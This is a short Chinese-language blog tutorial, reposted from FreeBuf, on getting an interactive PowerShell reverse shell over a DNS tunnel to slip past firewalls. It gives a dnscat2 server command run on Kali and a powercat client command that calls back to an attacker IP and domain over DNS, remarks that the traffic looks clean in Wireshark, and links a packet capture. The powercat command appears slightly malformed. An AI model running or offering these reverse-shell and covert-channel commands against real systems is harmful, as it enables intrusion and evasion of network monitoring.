通过DNS通道传输的交互式PowerShell脚本

摘自:http://www.freebuf.com/sectool/90616.html

欢迎来到一周PowerShell脚本的第五天,今天我们将讨论使用ICMP和DNS的交互式PowerShell脚本。

通常情况下防火墙都不会主动过滤ICMP和DNS数据包,这就让我们可以使用它们。下面就让我们来看看具体怎么利用吧。

对于DNS来说,我们需要使用Ron Bowes的dnscat2(https://github.com/iagox86/dnscat2)作为服务端。当然如果目标机器是Windows系统,那么也可以使用powercat(https://github.com/besimorhino/powercat)。我们之前讨论过使用powercat了,那么下面来看看如何使用dnscat2。

首先,使用如下命令开启dnscat2服务端:

root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org

然后使用如下命令返回连接:

PS C:> powercat -192.168.254.226 -53 -dns reversedns-shell.org

效果如下:

很好!我们得到了一个通过DNS信道传输的交互式PowerShell脚本。

这里如果我们查看Wireshark的话不会发现有什么问题:

pcap包可以在这里下载到https://drive.google.com/folderview?id=0B-Hsu8q12kG3fmV6YUpOOVJzaC05cnRRZ3huV2xZUkNlOHplSkFqZ0VjVFNpU2NTZGpUN1E&usp=sharing

(注:译者已将数据包搬运到国内云盘:链接:http://pan.baidu.com/s/1c1dBnCO 密码:59oy)

上面的不是PowerShell脚本对吧,其实Nishang有一些使用DNS的脚本可以执行命令、脚本和msf的shellcode利用,但它们都不是交互式的脚本,所以这里就不提了,如果感兴趣可以查看之前的博文http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html

原文地址:https://www.cnblogs.com/bonelee/p/7729459.html